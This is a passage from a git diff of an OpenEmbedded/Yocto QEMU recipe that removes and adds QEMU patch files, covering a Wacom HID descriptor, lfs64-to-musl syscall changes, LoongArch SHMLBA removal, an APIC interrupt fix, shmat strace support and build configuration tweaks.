-+ 0x81, 0x02, /* Input (Data, Variable, Absolute) */
-+ 0xc0, /* End Collection */
-+ 0x09, 0x01, /* Usage (Digitizer) */
-+ 0x85, 0x02, /* Report ID (2) */
-+ 0x95, 0x01, /* Report Count (1) */
-+ 0xb1, 0x02, /* FEATURE (2) */
-+ 0xc0, /* End Collection */
-+ 0x06, 0x00, 0xff, /* Usage Page (Vendor 0xff00) */
-+ 0x09, 0x01, /* Usage (Digitizer) */
-+ 0xa1, 0x01, /* Collection (Application) */
-+ 0x85, 0x02, /* Report ID (2) */
-+ 0x05, 0x0d, /* Usage Page (Digitizer) */
-+ 0x09, 0x22, /* Usage (Finger) */
-+ 0xa1, 0x00, /* Collection (Physical) */
-+ 0x06, 0x00, 0xff, /* Usage Page (Vendor 0xff00) */
-+ 0x09, 0x01, /* Usage (Digitizer) */
-+ 0x15, 0x00, /* Logical Minimum (0) */
-+ 0x26, 0xff, 0x00, /* Logical Maximum */
-+ 0x75, 0x08, /* Report Size (8) */
-+ 0x95, 0x02, /* Report Count (2) */
-+ 0x81, 0x02, /* Input (Data, Variable, Absolute) */
-+ 0x05, 0x01, /* Usage Page (Generic Desktop) */
-+ 0x09, 0x30, /* Usage (X) */
-+ 0x35, 0x00, /* Physical Minimum */
-+ 0x46, 0xe0, 0x2e, /* Physical Maximum */
-+ 0x26, 0xe0, 0x01, /* Logical Maximum */
-+ 0x75, 0x10, /* Report Size (16) */
-+ 0x95, 0x01, /* Report Count (1) */
-+ 0x81, 0x02, /* Input (Data, Variable, Absolute) */
-+ 0x09, 0x31, /* Usage (Y) */
-+ 0x46, 0x40, 0x1f, /* Physical Maximum */
-+ 0x26, 0x40, 0x01, /* Logical Maximum */
-+ 0x81, 0x02, /* Input (Data, Variable, Absolute) */
-+ 0x06, 0x00, 0xff, /* Usage Page (Vendor 0xff00) */
-+ 0x09, 0x01, /* Usage (Digitizer) */
-+ 0x26, 0xff, 0x00, /* Logical Maximum */
-+ 0x75, 0x08, /* Report Size (8) */
-+ 0x95, 0x0d, /* Report Count (13) */
-+ 0x81, 0x02, /* Input (Data, Variable, Absolute) */
-+ 0xc0, /* End Collection */
-+ 0xc0, /* End Collection */
-+};
-+
-+
- static const USBDescIface desc_iface_wacom = {
- .bInterfaceNumber = 0,
- .bNumEndpoints = 1,
-@@ -91,7 +174,7 @@ static const USBDescIface desc_iface_wacom = {
- 0x00, /* u8 country_code */
- 0x01, /* u8 num_descriptors */
- 0x22, /* u8 type: Report */
-- 0x6e, 0, /* u16 len */
-+ sizeof(qemu_tablet_hid_report_descriptor), 0, /* u16 len */
- },
- },
- },
-@@ -271,6 +354,15 @@ static void usb_wacom_handle_control(USBDevice *dev, USBPacket *p,
- }
-
- switch (request) {
-+ case InterfaceRequest | USB_REQ_GET_DESCRIPTOR:
-+ switch (value >> 8) {
-+ case 0x22:
-+ memcpy(data, qemu_tablet_hid_report_descriptor,
-+ sizeof(qemu_tablet_hid_report_descriptor));
-+ p->actual_length = sizeof(qemu_tablet_hid_report_descriptor);
-+ break;
-+ }
-+ break;
- case WACOM_SET_REPORT:
- if (s->mouse_grabbed) {
- qemu_remove_mouse_event_handler(s->eh_entry);
---
-2.24.0
-
diff --git a/meta/recipes-devtools/qemu/qemu/0001-qemu-Do-not-include-file-if-not-exists.patch b/meta/recipes-devtools/qemu/qemu/0001-qemu-Do-not-include-file-if-not-exists.patch
deleted file mode 100644
index 6e38d814cd..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0001-qemu-Do-not-include-file-if-not-exists.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 34247f83095f8cdcdc1f9d7f0c6ffbd46b25d979 Mon Sep 17 00:00:00 2001
-From: Oleksiy Obitotskyy <oobitots@cisco.com>
-Date: Wed, 25 Mar 2020 21:21:35 +0200
-Subject: [PATCH] qemu: Do not include file if not exists
-
-Script configure checks for if_alg.h and check failed but
-if_alg.h still included.
-
-Upstream-status: Submitted [https://lists.gnu.org/archive/html/qemu-devel/2020-03/msg07188.html]
-Signed-off-by: Oleksiy Obitotskyy <oobitots@cisco.com>
-
-[update patch context]
-Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
----
- linux-user/syscall.c | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/linux-user/syscall.c b/linux-user/syscall.c
-index d6f8cc97..a61420e7 100644
---- a/linux-user/syscall.c
-+++ b/linux-user/syscall.c
-@@ -109,7 +109,9 @@
- #include <linux/blkpg.h>
- #include <netpacket/packet.h>
- #include <linux/netlink.h>
-+#if defined(CONFIG_AF_ALG)
- #include <linux/if_alg.h>
-+#endif
- #include <linux/rtc.h>
- #include <sound/asound.h>
- #include "linux_loop.h"
---
-2.24.0
-
diff --git a/meta/recipes-devtools/qemu/qemu/0002-Add-subpackage-ptest-which-runs-all-unit-test-cases-.patch b/meta/recipes-devtools/qemu/qemu/0002-Add-subpackage-ptest-which-runs-all-unit-test-cases-.patch
deleted file mode 100644
index 3d268870fc..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0002-Add-subpackage-ptest-which-runs-all-unit-test-cases-.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 5da6cef7761157a003e7ebde74fb3cf90ab396d9 Mon Sep 17 00:00:00 2001
-From: Juro Bystricky <juro.bystricky@intel.com>
-Date: Thu, 31 Aug 2017 11:06:56 -0700
-Subject: [PATCH] Add subpackage -ptest which runs all unit test cases for
- qemu.
-
-Upstream-Status: Pending
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
-
-[update patch context]
-Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
----
- tests/Makefile.include | 8 ++++++++
- 1 file changed, 8 insertions(+)
-
-diff --git a/tests/Makefile.include b/tests/Makefile.include
-index 51de6762..1ea4d322 100644
---- a/tests/Makefile.include
-+++ b/tests/Makefile.include
-@@ -941,4 +941,12 @@ all: $(QEMU_IOTESTS_HELPERS-y)
- -include $(wildcard tests/qtest/*.d)
- -include $(wildcard tests/qtest/libqos/*.d)
-
-+buildtest-TESTS: $(check-unit-y)
-+
-+runtest-TESTS:
-+ for f in $(check-unit-y); do \
-+ nf=$$(echo $$f | sed 's/tests\//\.\//g'); \
-+ $$nf; \
-+ done
-+
- endif
---
-2.24.0
-
diff --git a/meta/recipes-devtools/qemu/qemu/0002-linux-user-Replace-use-of-lfs64-related-functions-an.patch b/meta/recipes-devtools/qemu/qemu/0002-linux-user-Replace-use-of-lfs64-related-functions-an.patch
new file mode 100644
index 0000000000..ceae67be64
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0002-linux-user-Replace-use-of-lfs64-related-functions-an.patch
@@ -0,0 +1,355 @@
+From 71f14902256e3c3529710b713e1ea43100bf4c40 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 17 Dec 2022 08:37:46 -0800
+Subject: [PATCH 2/2] linux-user: Replace use of lfs64 related functions and
+ macros
+
+Builds defines -D_FILE_OFFSET_BITS=64 which makes the original functions
+anf macros behave same as their 64 suffixed counterparts. This also
+helps in compiling with latest musl C library, where these macros and
+functions are no more available under _GNU_SOURCE feature macro
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/qemu-devel/2022-12/msg02841.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Cc: Laurent Vivier <laurent@vivier.eu>
+---
+ linux-user/syscall.c | 153 +++++++++++--------------------------------
+ 1 file changed, 39 insertions(+), 114 deletions(-)
+
+Index: qemu-8.0.0/linux-user/syscall.c
+===================================================================
+--- qemu-8.0.0.orig/linux-user/syscall.c
++++ qemu-8.0.0/linux-user/syscall.c
+@@ -761,8 +761,8 @@ safe_syscall6(ssize_t, copy_file_range,
+ */
+ #define safe_ioctl(...) safe_syscall(__NR_ioctl, __VA_ARGS__)
+ /* Similarly for fcntl. Note that callers must always:
+- * pass the F_GETLK64 etc constants rather than the unsuffixed F_GETLK
+- * use the flock64 struct rather than unsuffixed flock
++ * pass the F_GETLK etc constants rather than the unsuffixed F_GETLK
++ * use the flock struct rather than unsuffixed flock
+ * This will then work and use a 64-bit offset for both 32-bit and 64-bit hosts.
+ */
+ #ifdef __NR_fcntl64
+@@ -6813,13 +6813,13 @@ static int target_to_host_fcntl_cmd(int
+ ret = cmd;
+ break;
+ case TARGET_F_GETLK:
+- ret = F_GETLK64;
++ ret = F_GETLK;
+ break;
+ case TARGET_F_SETLK:
+- ret = F_SETLK64;
++ ret = F_SETLK;
+ break;
+ case TARGET_F_SETLKW:
+- ret = F_SETLKW64;
++ ret = F_SETLKW;
+ break;
+ case TARGET_F_GETOWN:
+ ret = F_GETOWN;
+@@ -6833,17 +6833,6 @@ static int target_to_host_fcntl_cmd(int
+ case TARGET_F_SETSIG:
+ ret = F_SETSIG;
+ break;
+-#if TARGET_ABI_BITS == 32
+- case TARGET_F_GETLK64:
+- ret = F_GETLK64;
+- break;
+- case TARGET_F_SETLK64:
+- ret = F_SETLK64;
+- break;
+- case TARGET_F_SETLKW64:
+- ret = F_SETLKW64;
+- break;
+-#endif
+ case TARGET_F_SETLEASE:
+ ret = F_SETLEASE;
+ break;
+@@ -6895,8 +6884,8 @@ static int target_to_host_fcntl_cmd(int
+ * them to 5, 6 and 7 before making the syscall(). Since we make the
+ * syscall directly, adjust to what is supported by the kernel.
+ */
+- if (ret >= F_GETLK64 && ret <= F_SETLKW64) {
+- ret -= F_GETLK64 - 5;
++ if (ret >= F_GETLK && ret <= F_SETLKW) {
++ ret -= F_GETLK - 5;
+ }
+ #endif
+
+@@ -6929,55 +6918,11 @@ static int host_to_target_flock(int type
+ return type;
+ }
+
+-static inline abi_long copy_from_user_flock(struct flock64 *fl,
+- abi_ulong target_flock_addr)
+-{
+- struct target_flock *target_fl;
+- int l_type;
+-
+- if (!lock_user_struct(VERIFY_READ, target_fl, target_flock_addr, 1)) {
+- return -TARGET_EFAULT;
+- }
+-
+- __get_user(l_type, &target_fl->l_type);
+- l_type = target_to_host_flock(l_type);
+- if (l_type < 0) {
+- return l_type;
+- }
+- fl->l_type = l_type;
+- __get_user(fl->l_whence, &target_fl->l_whence);
+- __get_user(fl->l_start, &target_fl->l_start);
+- __get_user(fl->l_len, &target_fl->l_len);
+- __get_user(fl->l_pid, &target_fl->l_pid);
+- unlock_user_struct(target_fl, target_flock_addr, 0);
+- return 0;
+-}
+-
+-static inline abi_long copy_to_user_flock(abi_ulong target_flock_addr,
+- const struct flock64 *fl)
+-{
+- struct target_flock *target_fl;
+- short l_type;
+-
+- if (!lock_user_struct(VERIFY_WRITE, target_fl, target_flock_addr, 0)) {
+- return -TARGET_EFAULT;
+- }
+-
+- l_type = host_to_target_flock(fl->l_type);
+- __put_user(l_type, &target_fl->l_type);
+- __put_user(fl->l_whence, &target_fl->l_whence);
+- __put_user(fl->l_start, &target_fl->l_start);
+- __put_user(fl->l_len, &target_fl->l_len);
+- __put_user(fl->l_pid, &target_fl->l_pid);
+- unlock_user_struct(target_fl, target_flock_addr, 1);
+- return 0;
+-}
+-
+-typedef abi_long from_flock64_fn(struct flock64 *fl, abi_ulong target_addr);
+-typedef abi_long to_flock64_fn(abi_ulong target_addr, const struct flock64 *fl);
++typedef abi_long from_flock_fn(struct flock *fl, abi_ulong target_addr);
++typedef abi_long to_flock_fn(abi_ulong target_addr, const struct flock *fl);
+
+ #if defined(TARGET_ARM) && TARGET_ABI_BITS == 32
+-struct target_oabi_flock64 {
++struct target_oabi_flock {
+ abi_short l_type;
+ abi_short l_whence;
+ abi_llong l_start;
+@@ -6985,10 +6930,10 @@ struct target_oabi_flock64 {
+ abi_int l_pid;
+ } QEMU_PACKED;
+
+-static inline abi_long copy_from_user_oabi_flock64(struct flock64 *fl,
++static inline abi_long copy_from_user_oabi_flock(struct flock *fl,
+ abi_ulong target_flock_addr)
+ {
+- struct target_oabi_flock64 *target_fl;
++ struct target_oabi_flock *target_fl;
+ int l_type;
+
+ if (!lock_user_struct(VERIFY_READ, target_fl, target_flock_addr, 1)) {
+@@ -7009,10 +6954,10 @@ static inline abi_long copy_from_user_oa
+ return 0;
+ }
+
+-static inline abi_long copy_to_user_oabi_flock64(abi_ulong target_flock_addr,
+- const struct flock64 *fl)
++static inline abi_long copy_to_user_oabi_flock(abi_ulong target_flock_addr,
++ const struct flock *fl)
+ {
+- struct target_oabi_flock64 *target_fl;
++ struct target_oabi_flock *target_fl;
+ short l_type;
+
+ if (!lock_user_struct(VERIFY_WRITE, target_fl, target_flock_addr, 0)) {
+@@ -7030,10 +6975,10 @@ static inline abi_long copy_to_user_oabi
+ }
+ #endif
+
+-static inline abi_long copy_from_user_flock64(struct flock64 *fl,
++static inline abi_long copy_from_user_flock(struct flock *fl,
+ abi_ulong target_flock_addr)
+ {
+- struct target_flock64 *target_fl;
++ struct target_flock *target_fl;
+ int l_type;
+
+ if (!lock_user_struct(VERIFY_READ, target_fl, target_flock_addr, 1)) {
+@@ -7054,10 +6999,10 @@ static inline abi_long copy_from_user_fl
+ return 0;
+ }
+
+-static inline abi_long copy_to_user_flock64(abi_ulong target_flock_addr,
+- const struct flock64 *fl)
++static inline abi_long copy_to_user_flock(abi_ulong target_flock_addr,
++ const struct flock *fl)
+ {
+- struct target_flock64 *target_fl;
++ struct target_flock *target_fl;
+ short l_type;
+
+ if (!lock_user_struct(VERIFY_WRITE, target_fl, target_flock_addr, 0)) {
+@@ -7076,7 +7021,7 @@ static inline abi_long copy_to_user_floc
+
+ static abi_long do_fcntl(int fd, int cmd, abi_ulong arg)
+ {
+- struct flock64 fl64;
++ struct flock fl64;
+ #ifdef F_GETOWN_EX
+ struct f_owner_ex fox;
+ struct target_f_owner_ex *target_fox;
+@@ -7089,6 +7034,7 @@ static abi_long do_fcntl(int fd, int cmd
+
+ switch(cmd) {
+ case TARGET_F_GETLK:
++ case TARGET_F_OFD_GETLK:
+ ret = copy_from_user_flock(&fl64, arg);
+ if (ret) {
+ return ret;
+@@ -7098,32 +7044,11 @@ static abi_long do_fcntl(int fd, int cmd
+ ret = copy_to_user_flock(arg, &fl64);
+ }
+ break;
+-
+ case TARGET_F_SETLK:
+ case TARGET_F_SETLKW:
+- ret = copy_from_user_flock(&fl64, arg);
+- if (ret) {
+- return ret;
+- }
+- ret = get_errno(safe_fcntl(fd, host_cmd, &fl64));
+- break;
+-
+- case TARGET_F_GETLK64:
+- case TARGET_F_OFD_GETLK:
+- ret = copy_from_user_flock64(&fl64, arg);
+- if (ret) {
+- return ret;
+- }
+- ret = get_errno(safe_fcntl(fd, host_cmd, &fl64));
+- if (ret == 0) {
+- ret = copy_to_user_flock64(arg, &fl64);
+- }
+- break;
+- case TARGET_F_SETLK64:
+- case TARGET_F_SETLKW64:
+ case TARGET_F_OFD_SETLK:
+ case TARGET_F_OFD_SETLKW:
+- ret = copy_from_user_flock64(&fl64, arg);
++ ret = copy_from_user_flock(&fl64, arg);
+ if (ret) {
+ return ret;
+ }
+@@ -7348,7 +7273,7 @@ static inline abi_long target_truncate64
+ arg2 = arg3;
+ arg3 = arg4;
+ }
+- return get_errno(truncate64(arg1, target_offset64(arg2, arg3)));
++ return get_errno(truncate(arg1, target_offset64(arg2, arg3)));
+ }
+ #endif
+
+@@ -7362,7 +7287,7 @@ static inline abi_long target_ftruncate6
+ arg2 = arg3;
+ arg3 = arg4;
+ }
+- return get_errno(ftruncate64(arg1, target_offset64(arg2, arg3)));
++ return get_errno(ftruncate(arg1, target_offset64(arg2, arg3)));
+ }
+ #endif
+
+@@ -8598,7 +8523,7 @@ static int do_getdents(abi_long dirfd, a
+ void *tdirp;
+ int hlen, hoff, toff;
+ int hreclen, treclen;
+- off64_t prev_diroff = 0;
++ off_t prev_diroff = 0;
+
+ hdirp = g_try_malloc(count);
+ if (!hdirp) {
+@@ -8651,7 +8576,7 @@ static int do_getdents(abi_long dirfd, a
+ * Return what we have, resetting the file pointer to the
+ * location of the first record not returned.
+ */
+- lseek64(dirfd, prev_diroff, SEEK_SET);
++ lseek(dirfd, prev_diroff, SEEK_SET);
+ break;
+ }
+
+@@ -8685,7 +8610,7 @@ static int do_getdents64(abi_long dirfd,
+ void *tdirp;
+ int hlen, hoff, toff;
+ int hreclen, treclen;
+- off64_t prev_diroff = 0;
++ off_t prev_diroff = 0;
+
+ hdirp = g_try_malloc(count);
+ if (!hdirp) {
+@@ -8727,7 +8652,7 @@ static int do_getdents64(abi_long dirfd,
+ * Return what we have, resetting the file pointer to the
+ * location of the first record not returned.
+ */
+- lseek64(dirfd, prev_diroff, SEEK_SET);
++ lseek(dirfd, prev_diroff, SEEK_SET);
+ break;
+ }
+
+@@ -11158,7 +11083,7 @@ static abi_long do_syscall1(CPUArchState
+ return -TARGET_EFAULT;
+ }
+ }
+- ret = get_errno(pread64(arg1, p, arg3, target_offset64(arg4, arg5)));
++ ret = get_errno(pread(arg1, p, arg3, target_offset64(arg4, arg5)));
+ unlock_user(p, arg2, ret);
+ return ret;
+ case TARGET_NR_pwrite64:
+@@ -11175,7 +11100,7 @@ static abi_long do_syscall1(CPUArchState
+ return -TARGET_EFAULT;
+ }
+ }
+- ret = get_errno(pwrite64(arg1, p, arg3, target_offset64(arg4, arg5)));
++ ret = get_errno(pwrite(arg1, p, arg3, target_offset64(arg4, arg5)));
+ unlock_user(p, arg2, 0);
+ return ret;
+ #endif
+@@ -11998,14 +11923,14 @@ static abi_long do_syscall1(CPUArchState
+ case TARGET_NR_fcntl64:
+ {
+ int cmd;
+- struct flock64 fl;
+- from_flock64_fn *copyfrom = copy_from_user_flock64;
+- to_flock64_fn *copyto = copy_to_user_flock64;
++ struct flock fl;
++ from_flock_fn *copyfrom = copy_from_user_flock;
++ to_flock_fn *copyto = copy_to_user_flock;
+
+ #ifdef TARGET_ARM
+ if (!cpu_env->eabi) {
+- copyfrom = copy_from_user_oabi_flock64;
+- copyto = copy_to_user_oabi_flock64;
++ copyfrom = copy_from_user_oabi_flock;
++ copyto = copy_to_user_oabi_flock;
+ }
+ #endif
+
+@@ -12015,7 +11940,7 @@ static abi_long do_syscall1(CPUArchState
+ }
+
+ switch(arg2) {
+- case TARGET_F_GETLK64:
++ case TARGET_F_GETLK:
+ ret = copyfrom(&fl, arg3);
+ if (ret) {
+ break;
+@@ -12026,8 +11951,8 @@ static abi_long do_syscall1(CPUArchState
+ }
+ break;
+
+- case TARGET_F_SETLK64:
+- case TARGET_F_SETLKW64:
++ case TARGET_F_SETLK:
++ case TARGET_F_SETLKW:
+ ret = copyfrom(&fl, arg3);
+ if (ret) {
+ break;
diff --git a/meta/recipes-devtools/qemu/qemu/0002-linux-user-loongarch64-Remove-TARGET_FORCE_SHMLBA.patch b/meta/recipes-devtools/qemu/qemu/0002-linux-user-loongarch64-Remove-TARGET_FORCE_SHMLBA.patch
new file mode 100644
index 0000000000..3f01aaa644
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0002-linux-user-loongarch64-Remove-TARGET_FORCE_SHMLBA.patch
@@ -0,0 +1,43 @@
+From 5bf65b24414d3ff8339f6f1beb221c7c35c91e5d Mon Sep 17 00:00:00 2001
+From: Richard Henderson <richard.henderson@linaro.org>
+Date: Wed, 28 Feb 2024 10:25:15 -1000
+Subject: [PATCH 2/5] linux-user/loongarch64: Remove TARGET_FORCE_SHMLBA
+
+The kernel abi was changed with
+
+ commit d23b77953f5a4fbf94c05157b186aac2a247ae32
+ Author: Huacai Chen <chenhuacai@kernel.org>
+ Date: Wed Jan 17 12:43:08 2024 +0800
+
+ LoongArch: Change SHMLBA from SZ_64K to PAGE_SIZE
+
+during the v6.8 cycle.
+
+Upstream-Status: Submitted [https://www.mail-archive.com/qemu-devel@nongnu.org/msg1026793.html]
+
+Reviewed-by: Song Gao <gaosong@loongson.cn>
+Signed-off-by: Richard Henderson <richard.henderson@linaro.org>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ linux-user/loongarch64/target_syscall.h | 7 -------
+ 1 file changed, 7 deletions(-)
+
+diff --git a/linux-user/loongarch64/target_syscall.h b/linux-user/loongarch64/target_syscall.h
+index 8b5de5212..39f229bb9 100644
+--- a/linux-user/loongarch64/target_syscall.h
++++ b/linux-user/loongarch64/target_syscall.h
+@@ -38,11 +38,4 @@ struct target_pt_regs {
+ #define TARGET_MCL_FUTURE 2
+ #define TARGET_MCL_ONFAULT 4
+
+-#define TARGET_FORCE_SHMLBA
+-
+-static inline abi_ulong target_shmlba(CPULoongArchState *env)
+-{
+- return 64 * KiB;
+-}
+-
+ #endif
+--
+2.34.1
+
diff --git a/meta/recipes-devtools/qemu/qemu/0003-apic-fixup-fallthrough-to-PIC.patch b/meta/recipes-devtools/qemu/qemu/0003-apic-fixup-fallthrough-to-PIC.patch
new file mode 100644
index 0000000000..e85f8202e9
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0003-apic-fixup-fallthrough-to-PIC.patch
@@ -0,0 +1,44 @@
+From dc2a8ccd440ee3741b61606eafed3f7e092f4312 Mon Sep 17 00:00:00 2001
+From: Mark Asselstine <mark.asselstine@windriver.com>
+Date: Tue, 26 Feb 2013 11:43:28 -0500
+Subject: [PATCH 03/12] apic: fixup fallthrough to PIC
+
+Commit 0e21e12bb311c4c1095d0269dc2ef81196ccb60a [Don't route PIC
+interrupts through the local APIC if the local APIC config says so.]
+missed a check to ensure the local APIC is enabled. Since if the local
+APIC is disabled it doesn't matter what the local APIC config says.
+
+If this check isn't done and the guest has disabled the local APIC the
+guest will receive a general protection fault, similar to what is seen
+here:
+
+https://lists.gnu.org/archive/html/qemu-devel/2012-12/msg02304.html
+
+The GPF is caused by an attempt to service interrupt 0xffffffff. This
+comes about since cpu_get_pic_interrupt() calls apic_accept_pic_intr()
+(with the local APIC disabled apic_get_interrupt() returns -1).
+apic_accept_pic_intr() returns 0 and thus the interrupt number which
+is returned from cpu_get_pic_interrupt(), and which is attempted to be
+serviced, is -1.
+
+Signed-off-by: Mark Asselstine <mark.asselstine@windriver.com>
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/qemu-devel/2013-04/msg00878.html]
+Signed-off-by: He Zhe <zhe.he@windriver.com>
+
+---
+ hw/intc/apic.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+Index: qemu-8.0.0/hw/intc/apic.c
+===================================================================
+--- qemu-8.0.0.orig/hw/intc/apic.c
++++ qemu-8.0.0/hw/intc/apic.c
+@@ -607,7 +607,7 @@ int apic_accept_pic_intr(DeviceState *de
+ APICCommonState *s = APIC(dev);
+ uint32_t lvt0;
+
+- if (!s)
++ if (!s || !(s->spurious_vec & APIC_SV_ENABLE))
+ return -1;
+
+ lvt0 = s->lvt[APIC_LVT_LINT0];
diff --git a/meta/recipes-devtools/qemu/qemu/0003-linux-user-Add-strace-for-shmat.patch b/meta/recipes-devtools/qemu/qemu/0003-linux-user-Add-strace-for-shmat.patch
new file mode 100644
index 0000000000..0c601c804a
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0003-linux-user-Add-strace-for-shmat.patch
@@ -0,0 +1,71 @@
+From e8f06676c6c88e12cd5f4f81a839b7111c683596 Mon Sep 17 00:00:00 2001
+From: Richard Henderson <richard.henderson@linaro.org>
+Date: Wed, 28 Feb 2024 10:25:16 -1000
+Subject: [PATCH 3/5] linux-user: Add strace for shmat
+
+Upstream-Status: Submitted [https://www.mail-archive.com/qemu-devel@nongnu.org/msg1026793.html]
+
+Signed-off-by: Richard Henderson <richard.henderson@linaro.org>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ linux-user/strace.c | 23 +++++++++++++++++++++++
+ linux-user/strace.list | 2 +-
+ 2 files changed, 24 insertions(+), 1 deletion(-)
+
+diff --git a/linux-user/strace.c b/linux-user/strace.c
+index cf26e5526..47d6ec326 100644
+--- a/linux-user/strace.c
++++ b/linux-user/strace.c
+@@ -670,6 +670,25 @@ print_semctl(CPUArchState *cpu_env, const struct syscallname *name,
+ }
+ #endif
+
++static void
++print_shmat(CPUArchState *cpu_env, const struct syscallname *name,
++ abi_long arg0, abi_long arg1, abi_long arg2,
++ abi_long arg3, abi_long arg4, abi_long arg5)
++{
++ static const struct flags shmat_flags[] = {
++ FLAG_GENERIC(SHM_RND),
++ FLAG_GENERIC(SHM_REMAP),
++ FLAG_GENERIC(SHM_RDONLY),
++ FLAG_GENERIC(SHM_EXEC),
++ };
++
++ print_syscall_prologue(name);
++ print_raw_param(TARGET_ABI_FMT_ld, arg0, 0);
++ print_pointer(arg1, 0);
++ print_flags(shmat_flags, arg2, 1);
++ print_syscall_epilogue(name);
++}
++
+ #ifdef TARGET_NR_ipc
+ static void
+ print_ipc(CPUArchState *cpu_env, const struct syscallname *name,
+@@ -683,6 +702,10 @@ print_ipc(CPUArchState *cpu_env, const struct syscallname *name,
+ print_ipc_cmd(arg3);
+ qemu_log(",0x" TARGET_ABI_FMT_lx ")", arg4);
+ break;
++ case IPCOP_shmat:
++ print_shmat(cpu_env, &(const struct syscallname){ .name = "shmat" },
++ arg1, arg4, arg2, 0, 0, 0);
++ break;
+ default:
+ qemu_log(("%s("
+ TARGET_ABI_FMT_ld ","
+diff --git a/linux-user/strace.list b/linux-user/strace.list
+index 6655d4f26..dfd4237d1 100644
+--- a/linux-user/strace.list
++++ b/linux-user/strace.list
+@@ -1398,7 +1398,7 @@
+ { TARGET_NR_sgetmask, "sgetmask" , NULL, NULL, NULL },
+ #endif
+ #ifdef TARGET_NR_shmat
+-{ TARGET_NR_shmat, "shmat" , NULL, NULL, print_syscall_ret_addr },
++{ TARGET_NR_shmat, "shmat" , NULL, print_shmat, print_syscall_ret_addr },
+ #endif
+ #ifdef TARGET_NR_shmctl
+ { TARGET_NR_shmctl, "shmctl" , NULL, NULL, NULL },
+--
+2.34.1
+
diff --git a/meta/recipes-devtools/qemu/qemu/0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch b/meta/recipes-devtools/qemu/qemu/0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch
deleted file mode 100644
index 012d60d8f0..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From ce1eceab2350d27960ec254650717085f6a11c9a Mon Sep 17 00:00:00 2001
-From: Jason Wessel <jason.wessel@windriver.com>
-Date: Fri, 28 Mar 2014 17:42:43 +0800
-Subject: [PATCH] qemu: Add addition environment space to boot loader
- qemu-system-mips
-
-Upstream-Status: Inappropriate - OE uses deep paths
-
-If you create a project with very long directory names like 128 characters
-deep and use NFS, the kernel arguments will be truncated. The kernel will
-accept longer strings such as 1024 bytes, but the qemu boot loader defaulted
-to only 256 bytes. This patch expands the limit.
-
-Signed-off-by: Jason Wessel <jason.wessel@windriver.com>
-Signed-off-by: Roy Li <rongqing.li@windriver.com>
-
----
- hw/mips/mips_malta.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/hw/mips/mips_malta.c b/hw/mips/mips_malta.c
-index 92e9ca5b..3a7f3954 100644
---- a/hw/mips/mips_malta.c
-+++ b/hw/mips/mips_malta.c
-@@ -59,7 +59,7 @@
-
- #define ENVP_ADDR 0x80002000l
- #define ENVP_NB_ENTRIES 16
--#define ENVP_ENTRY_SIZE 256
-+#define ENVP_ENTRY_SIZE 1024
-
- /* Hardware addresses */
- #define FLASH_ADDRESS 0x1e000000ULL
diff --git a/meta/recipes-devtools/qemu/qemu/0004-configure-Add-pkg-config-handling-for-libgcrypt.patch b/meta/recipes-devtools/qemu/qemu/0004-configure-Add-pkg-config-handling-for-libgcrypt.patch
new file mode 100644
index 0000000000..f981a64a54
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0004-configure-Add-pkg-config-handling-for-libgcrypt.patch
@@ -0,0 +1,29 @@
+From d8265abdce5dc2bf74b3fccdf2b7257b4f3894f0 Mon Sep 17 00:00:00 2001
+From: He Zhe <zhe.he@windriver.com>
+Date: Wed, 28 Aug 2019 19:56:28 +0800
+Subject: [PATCH 04/12] configure: Add pkg-config handling for libgcrypt
+
+libgcrypt may also be controlled by pkg-config, this patch adds pkg-config
+handling for libgcrypt.
+
+Upstream-Status: Denied [https://lists.nongnu.org/archive/html/qemu-devel/2019-08/msg06333.html]
+
+Signed-off-by: He Zhe <zhe.he@windriver.com>
+
+---
+ meson.build | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+Index: qemu-8.1.0/meson.build
+===================================================================
+--- qemu-8.1.0.orig/meson.build
++++ qemu-8.1.0/meson.build
+@@ -1481,7 +1481,7 @@ endif
+ if not gnutls_crypto.found()
+ if (not get_option('gcrypt').auto() or have_system) and not get_option('nettle').enabled()
+ gcrypt = dependency('libgcrypt', version: '>=1.8',
+- method: 'config-tool',
++ method: 'pkg-config',
+ required: get_option('gcrypt'))
+ # Debian has removed -lgpg-error from libgcrypt-config
+ # as it "spreads unnecessary dependencies" which in
diff --git a/meta/recipes-devtools/qemu/qemu/0004-linux-user-Rewrite-target_shmat.patch b/meta/recipes-devtools/qemu/qemu/0004-linux-user-Rewrite-target_shmat.patch
new file mode 100644
index 0000000000..88c3ed40b0
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0004-linux-user-Rewrite-target_shmat.patch
@@ -0,0 +1,236 @@
+From cb48d5d1592e63ebd0d4a3e300ef98e38e6306d7 Mon Sep 17 00:00:00 2001
+From: Richard Henderson <richard.henderson@linaro.org>
+Date: Wed, 28 Feb 2024 10:25:17 -1000
+Subject: [PATCH 4/5] linux-user: Rewrite target_shmat
+
+Handle combined host and guest alignment requirements.
+Handle host and guest page size differences.
